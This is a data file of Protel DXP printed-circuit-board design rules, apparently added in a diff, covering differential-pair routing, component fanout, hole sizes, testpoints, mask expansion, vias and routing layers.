+|RECORD=DXPRule|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=DiffPairsRouting|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=DiffPairsRouting|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=MPYOJDST|DEFINEDBYLOGICALDOCUMENT=FALSE|MAXLIMIT=10mil|MINLIMIT=10mil|MOSTFREQGAP=10mil|TOPLAYER_MINWIDTH=15mil|TOPLAYER_MAXWIDTH=15mil|TOPLAYER_PREFWIDTH=15mil|MIDLAYER1_MINWIDTH=15mil|MIDLAYER1_MAXWIDTH=15mil|MIDLAYER1_PREFWIDTH=15mil|MIDLAYER2_MINWIDTH=15mil|MIDLAYER2_MAXWIDTH=15mil|MIDLAYER2_PREFWIDTH=15mil|MIDLAYER3_MINWIDTH=15mil|MIDLAYER3_MAXWIDTH=15mil|MIDLAYER3_PREFWIDTH=15mil|MIDLAYER4_MINWIDTH=15mil|MIDLAYER4_MAXWIDTH=15mil|MIDLAYER4_PREFWIDTH=15mil|MIDLAYER5_MINWIDTH=15mil|MIDLAYER5_MAXWIDTH=15mil|MIDLAYER5_PREFWIDTH=15mil|MIDLAYER6_MINWIDTH=15mil|MIDLAYER6_MAXWIDTH=15mil|MIDLAYER6_PREFWIDTH=15mil|MIDLAYER7_MINWIDTH=15mil|MIDLAYER7_MAXWIDTH=15mil|MIDLAYER7_PREFWIDTH=15mil|MIDLAYER8_MINWIDTH=15mil|MIDLAYER8_MAXWIDTH=15mil|MIDLAYER8_PREFWIDTH=15mil|MIDLAYER9_MINWIDTH=15mil|MIDLAYER9_MAXWIDTH=15mil|MIDLAYER9_PREFWIDTH=15mil|MIDLAYER10_MINWIDTH=15mil|MIDLAYER10_MAXWIDTH=15mil|MIDLAYER10_PREFWIDTH=15mil|MIDLAYER11_MINWIDTH=15mil|MIDLAYER11_MAXWIDTH=15mil|MIDLAYER11_PREFWIDTH=15mil|MIDLAYER12_MINWIDTH=15mil|MIDLAYER12_MAXWIDTH=15mil|MIDLAYER12_PREFWIDTH=15mil|MIDLAYER13_MINWIDTH=15mil|MIDLAYER13_MAXWIDTH=15mil|MIDLAYER13_PREFWIDTH=15mil|MIDLAYER14_MINWIDTH=15mil|MIDLAYER14_MAXWIDTH=15mil|MIDLAYER14_PREFWIDTH=15mil|MIDLAYER15_MINWIDTH=15mil|MIDLAYER15_MAXWIDTH=15mil|MIDLAYER15_PREFWIDTH=15mil|MIDLAYER16_MINWIDTH=15mil|MIDLAYER16_MAXWIDTH=15mil|MIDLAYER16_PREFWIDTH=15mil|MIDLAYER17_MINWIDTH=15mil|MIDLAYER17_MAXWIDTH=15mil|MIDLAYER17_PREFWIDTH=15mil|MIDLAYER18_MINWIDTH=15mil|MIDLAYER18_MAXWIDTH=15mil|MIDLAYER18_PREFWIDTH=15mil|MIDLAYER19_MINWIDTH=15mil|MIDLAYER19_MAXWIDTH=15mil|MIDLAYER19_PREFWIDTH=15mil|MIDLAYER20_MINWIDTH=15mil|MIDLAYER20_MAXWIDTH=15mil|MIDLAYER20_PREFWIDTH=15mil|MIDLAYER21_MINWIDTH=15mil|MIDLAYER21_MAXWIDTH=15mil|MIDLAYER21_PREFWIDTH=15mil|MIDLAYER22_MINWIDTH=15mil|MIDLAYER22_MAXWIDTH=15mil|MIDLAYER22_PREFWIDTH=15mil|MIDLAYER23_MINWIDTH=15mil|MIDLAYER23_MAXWIDTH=15mil|MIDLAYER23_PREFWIDTH=15mil|MIDLAYER24_MINWIDTH=15mil|MIDLAYER24_MAXWIDTH=15mil|MIDLAYER24_PREFWIDTH=15mil|MIDLAYER25_MINWIDTH=15mil|MIDLAYER25_MAXWIDTH=15mil|MIDLAYER25_PREFWIDTH=15mil|MIDLAYER26_MINWIDTH=15mil|MIDLAYER26_MAXWIDTH=15mil|MIDLAYER26_PREFWIDTH=15mil|MIDLAYER27_MINWIDTH=15mil|MIDLAYER27_MAXWIDTH=15mil|MIDLAYER27_PREFWIDTH=15mil|MIDLAYER28_MINWIDTH=15mil|MIDLAYER28_MAXWIDTH=15mil|MIDLAYER28_PREFWIDTH=15mil|MIDLAYER29_MINWIDTH=15mil|MIDLAYER29_MAXWIDTH=15mil|MIDLAYER29_PREFWIDTH=15mil|MIDLAYER30_MINWIDTH=15mil|MIDLAYER30_MAXWIDTH=15mil|MIDLAYER30_PREFWIDTH=15mil|BOTTOMLAYER_MINWIDTH=15mil|BOTTOMLAYER_MAXWIDTH=15mil|BOTTOMLAYER_PREFWIDTH=15mil|MAXUNCOUPLEDLENGTH=500mil
+|RECORD=Rule|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=DiffPairsRouting|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=DiffPairsRouting|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsBGA|SCOPE2EXPRESSION=All|NAME=Fanout_BGA|ENABLED=TRUE|PRIORITY=1|COMMENT=Fanout_BGA (Default Rule)|UNIQUEID=BEFGCMFL|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil
+|RECORD=Rule|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_BGA|ENABLED=FALSE|COMMENTLENGTH=69|COMMENT=Protel DXP Scope 1 Expression Was: IsBGA   Fanout_BGA (Default Rule)
+|RECORD=DXPRule|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsLCC|SCOPE2EXPRESSION=All|NAME=Fanout_LCC|ENABLED=TRUE|PRIORITY=2|COMMENT=Fanout_LCC (Default Rule)|UNIQUEID=TTWIGGER|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil
+|RECORD=Rule|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_LCC|ENABLED=FALSE|COMMENTLENGTH=69|COMMENT=Protel DXP Scope 1 Expression Was: IsLCC   Fanout_LCC (Default Rule)
+|RECORD=DXPRule|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsSOIC|SCOPE2EXPRESSION=All|NAME=Fanout_SOIC|ENABLED=TRUE|PRIORITY=3|COMMENT=Fanout_SOIC (Default Rule)|UNIQUEID=XTCCKVDR|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil
+|RECORD=Rule|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_SOIC|ENABLED=FALSE|COMMENTLENGTH=71|COMMENT=Protel DXP Scope 1 Expression Was: IsSOIC   Fanout_SOIC (Default Rule)
+|RECORD=DXPRule|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=(CompPinCount < 5)|SCOPE2EXPRESSION=All|NAME=Fanout_Small|ENABLED=TRUE|PRIORITY=4|COMMENT=Fanout_Small (Default Rule)|UNIQUEID=JGBUQKCO|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=OutThenIn|VIAGRID=1mil
+|RECORD=Rule|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_Small|ENABLED=FALSE|COMMENTLENGTH=84|COMMENT=Protel DXP Scope 1 Expression Was: (CompPinCount < 5)   Fanout_Small (Default Rule)
+|RECORD=DXPRule|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Fanout_Default|ENABLED=TRUE|PRIORITY=5|COMMENT=Fanout_Default (Default Rule)|UNIQUEID=CWRCADAM|DEFINEDBYLOGICALDOCUMENT=FALSE|BGADIR=Out|BGAVIAMODE=Centered|FANOUTSTYLE=Auto|FANOUTDIRECTION=Alternating|VIAGRID=1mil
+|RECORD=Rule|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FanoutControl|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Fanout_Default|ENABLED=TRUE|COMMENTLENGTH=30|COMMENT=Fanout_Default (Default Rule)
+|RECORD=DXPRule|INDEXFORSAVE=13|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=HoleSize|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=HoleSize|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=PRUOHPHJ|DEFINEDBYLOGICALDOCUMENT=FALSE|ABSOLUTEVALUES=TRUE|MAXLIMIT=100mil|MINLIMIT=1mil|MAXPERCENT=80.000|MINPERCENT=20.000
+|RECORD=Rule|INDEXFORSAVE=13|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=HoleSize|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=HoleSize|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ABSOLUTEVALUES=TRUE|MAXLIMIT=100mil|MINLIMIT=1mil|MAXPERCENT=80.000|MINPERCENT=20.000
+|RECORD=DXPRule|INDEXFORSAVE=14|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=LayerPairs|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=LayerPairs|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=JRYAMCFT|DEFINEDBYLOGICALDOCUMENT=FALSE|ENFORCE=TRUE
+|RECORD=Rule|INDEXFORSAVE=14|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=LayerPairs|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=LayerPairs|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ENFORCE=TRUE
+|RECORD=DXPRule|INDEXFORSAVE=15|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Height|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Height|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=ILUYVPIE|DEFINEDBYLOGICALDOCUMENT=FALSE|MINHEIGHT=0mil|MAXHEIGHT=1000mil|PREFHEIGHT=500mil
+|RECORD=Rule|INDEXFORSAVE=15|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Height|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Height|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=16|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=ComponentClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=ComponentClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=MYUBKMLN|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|COLLISIONCHECKMODE=3|VERTICALGAP=10mil|SHOWDISTANCES=FALSE
+|RECORD=Rule|INDEXFORSAVE=16|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=ComponentClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=ComponentClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|GAP=10mil|COLLISIONCHECKMODE=3
+|RECORD=DXPRule|INDEXFORSAVE=17|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=AssemblyTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=AssemblyTestpoint|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=RDUIDLVC|DEFINEDBYLOGICALDOCUMENT=FALSE|TESTPOINTUNDERCOMPONENT=TRUE|MINSIZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil|USEGRID=TRUE|GRIDTOLERANCE=0.01mil|ALLOWSIDETOP=TRUE|ALLOWSIDEBOTTOM=TRUE
+|RECORD=Rule|INDEXFORSAVE=17|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=AssemblyTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=AssemblyTestpoint|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=18|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=AssemblyTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=AssemblyTestPointUsage|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EGCLMOMR|DEFINEDBYLOGICALDOCUMENT=FALSE
+|RECORD=Rule|INDEXFORSAVE=18|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=AssemblyTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=AssemblyTestPointUsage|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=19|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FabricationTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=FabricationTestpoint|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=LXXMAVJC|DEFINEDBYLOGICALDOCUMENT=FALSE|SIDE=3|TESTPOINTUNDERCOMPONENT=TRUE|MINSIZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil|ALLOWSIDETOP=TRUE|ALLOWSIDEBOTTOM=TRUE|USEGRID=TRUE|GRIDTOLERANCE=0.01mil
+|RECORD=Rule|INDEXFORSAVE=19|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FabricationTestpoint|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=FabricationTestpoint|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|SIDE=3|TESTPOINTUNDERCOMPONENT=TRUE|MINSIZE=40mil|MAXSIZE=100mil|PREFEREDSIZE=60mil|MINHOLESIZE=0mil|MAXHOLESIZE=40mil|PREFEREDHOLESIZE=32mil|TESTPOINTGRID=1mil
+|RECORD=DXPRule|INDEXFORSAVE=20|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=FabricationTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=FabricationTestPointUsage|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EIRQOERV|DEFINEDBYLOGICALDOCUMENT=FALSE|VALID=0|ALLOWMULTIPLE=FALSE
+|RECORD=Rule|INDEXFORSAVE=20|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=FabricationTestPointUsage|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=FabricationTestPointUsage|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|VALID=0|ALLOWMULTIPLE=FALSE
+|RECORD=DXPRule|INDEXFORSAVE=21|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingTopology|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingTopology|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=XSNTLGPO|DEFINEDBYLOGICALDOCUMENT=FALSE|TOPOLOGY=Shortest
+|RECORD=Rule|INDEXFORSAVE=21|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingTopology|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingTopology|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|TOPOLOGY=Shortest
+|RECORD=DXPRule|INDEXFORSAVE=22|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SolderMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SolderMaskExpansion|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=HKSUQFJD|DEFINEDBYLOGICALDOCUMENT=FALSE|EXPANSION=4mil
+|RECORD=Rule|INDEXFORSAVE=22|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SolderMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SolderMaskExpansion|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|EXPANSION=4mil
+|RECORD=DXPRule|INDEXFORSAVE=23|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PasteMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PasteMaskExpansion|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YQLUVIFO|DEFINEDBYLOGICALDOCUMENT=FALSE|EXPANSION=0mil
+|RECORD=Rule|INDEXFORSAVE=23|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PasteMaskExpansion|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PasteMaskExpansion|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|EXPANSION=0mil
+|RECORD=DXPRule|INDEXFORSAVE=24|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingVias|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingVias|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=OLHWBYQY|DEFINEDBYLOGICALDOCUMENT=FALSE|HOLEWIDTH=28mil|WIDTH=50mil|VIASTYLE=Through Hole|MINHOLEWIDTH=28mil|MINWIDTH=50mil|MAXHOLEWIDTH=28mil|MAXWIDTH=50mil
+|RECORD=Rule|INDEXFORSAVE=24|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingVias|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingVias|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|HOLEWIDTH=28mil|WIDTH=50mil|VIASTYLE=Through Hole|MINHOLEWIDTH=28mil|MINWIDTH=50mil|MAXHOLEWIDTH=28mil|MAXWIDTH=50mil
+|RECORD=DXPRule|INDEXFORSAVE=25|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingCorners|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingCorners|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=EEXDRFJE|DEFINEDBYLOGICALDOCUMENT=FALSE|CORNERSTYLE=45-Degree|MINSETBACK=100mil|MAXSETBACK=100mil
+|RECORD=Rule|INDEXFORSAVE=25|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingCorners|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingCorners|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CORNERSTYLE=45-Degree|MINSETBACK=100mil|MAXSETBACK=100mil
+|RECORD=DXPRule|INDEXFORSAVE=26|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingLayers|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingLayers|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=GPADJHTY|DEFINEDBYLOGICALDOCUMENT=FALSE|TOP LAYER_V5=TRUE|MID LAYER 1_V5=TRUE|MID LAYER 2_V5=TRUE|MID LAYER 3_V5=TRUE|MID LAYER 4_V5=TRUE|MID LAYER 5_V5=TRUE|MID LAYER 6_V5=TRUE|MID LAYER 7_V5=TRUE|MID LAYER 8_V5=TRUE|MID LAYER 9_V5=TRUE|MID LAYER 10_V5=TRUE|MID LAYER 11_V5=TRUE|MID LAYER 12_V5=TRUE|MID LAYER 13_V5=TRUE|MID LAYER 14_V5=TRUE|MID LAYER 15_V5=TRUE|MID LAYER 16_V5=TRUE|MID LAYER 17_V5=TRUE|MID LAYER 18_V5=TRUE|MID LAYER 19_V5=TRUE|MID LAYER 20_V5=TRUE|MID LAYER 21_V5=TRUE|MID LAYER 22_V5=TRUE|MID LAYER 23_V5=TRUE|MID LAYER 24_V5=TRUE|MID LAYER 25_V5=TRUE|MID LAYER 26_V5=TRUE|MID LAYER 27_V5=TRUE|MID LAYER 28_V5=TRUE|MID LAYER 29_V5=TRUE|MID LAYER 30_V5=TRUE|BOTTOM LAYER_V5=TRUE
